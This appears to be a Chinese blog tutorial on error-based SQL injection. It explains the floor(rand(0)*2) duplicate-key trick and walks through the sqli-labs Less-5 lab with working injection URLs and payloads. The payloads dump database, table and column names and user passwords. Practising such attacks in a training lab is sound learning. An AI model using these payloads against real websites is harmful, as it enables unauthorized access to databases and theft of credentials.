SQL报错型注入

报错型SQL注入-------------------------------------------------我是小小分隔符----------------------------------------------基本原理:报错型sql注入与SQL联合注入的前三步是一致的(上篇博客),但没有数据的回显位,也就是说即使构造语句成功我们也没有办法看到数据的显示。但是如果sql语句出现错误则...
摘要由CSDN通过智能技术生成

报错型SQL注入

-------------------------------------------------我是小小分隔符----------------------------------------------

基本原理:

报错型sql注入与SQL联合注入的前三步是一致的(上篇博客),但没有数据的回显位,也就是说即使构造语句成功我们也没有办法看到数据的显示。但是如果sql语句出现错误则可以显示在页面上,我们可以利用这点来构造报错显示sql语句。

-------------------------------------------------我是小小分隔符----------------------------------------------

下边是利用 count(*), FLOOR(RAND(0)*2,group by报错。

1、floor()函数   #向下取整
select floor(1.123131);
2、rand()函数   #随机取0-1之间的值,可以在rand(0)中添加随机因子,影响随机值
select rand();
select rand(0);   #添加随机因子,使得随机值固定下来
3、group by  #分类
select table_name from information_schema.tables group by table_schema=security;  #通过库名为security来分类
4、count()函数  #对xx的统计
select count(*),table_name from information_schema.tables group by table_name;

重点:::

以0或1进行分类
随机值被作为主键,主键是不能被重复的,但这里主键被重复,所有引起报错,并把重复的主键抛出,把想要看到的数据设计为要抛出的主键

#报错语句的构造
select count(*),2 from users group by floor(rand()*2);  #以一个不确定的值去分组,然后统计,可能报错
#count和group by 联合使用时,会产生一个虚表,然后在虚表里面进行计数

#举个例子
#以name作为分类,先查group by,如果需表中有,则count+1;如果没有,则在虚表中添加主键
select count(*),a from users group by name
#语句:后面查有没有,前面往进插
#虚表中已经有的,就执行一次(+1)操作,如果没有,执行两次(添加name,+1)     里面没有b,就往进插(select name)

#报错语句:问题就出在中间表(虚表)这
#不确定的值作为group by的对象----主键冲突,抛出异常

-------------------------------------------------我是小小分隔符----------------------------------------------

以第五关为实例

  • 判断提交方式:有页面显示可知,请求方式为get方式
    在这里插入图片描述
  • 预判数据库执行语句:select…
  • 判断提交数据的闭合方式:
#测试知:闭合方式为--单引号闭合
http://192.168.168.135/sqli-labs-master/Less-5/?id=1‘ and 1=2 --+

在这里插入图片描述

  • 构造语句:产生报错,爆出数据
    1)爆数据库库名 注意:使用union需要列数一致,否则语句有错
#可使用order by 先判断列数
/?id=1' order by 3 --+     #可使用二分法快速判断
#concat()函数--相当于拼接
http://192.168.168.135/sqli-labs-master/Less-5/?id=1' union all select 1,count(*),1 from information_schema.tables group by concat(floor(rand(0)*2),0x7e,database()) --+

在这里插入图片描述
2)

#库名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)  

#表名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(table_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=‘security’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) 

# 列名
AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(group_concat(column_name)AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = 'users' and table_schema = 'security' LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) 

#数据
#(这个构造数据只能一个一个爆出来,通过limit函数控制)
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) (这个构造数据只能一个一个爆出来,通过limit函数控制)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值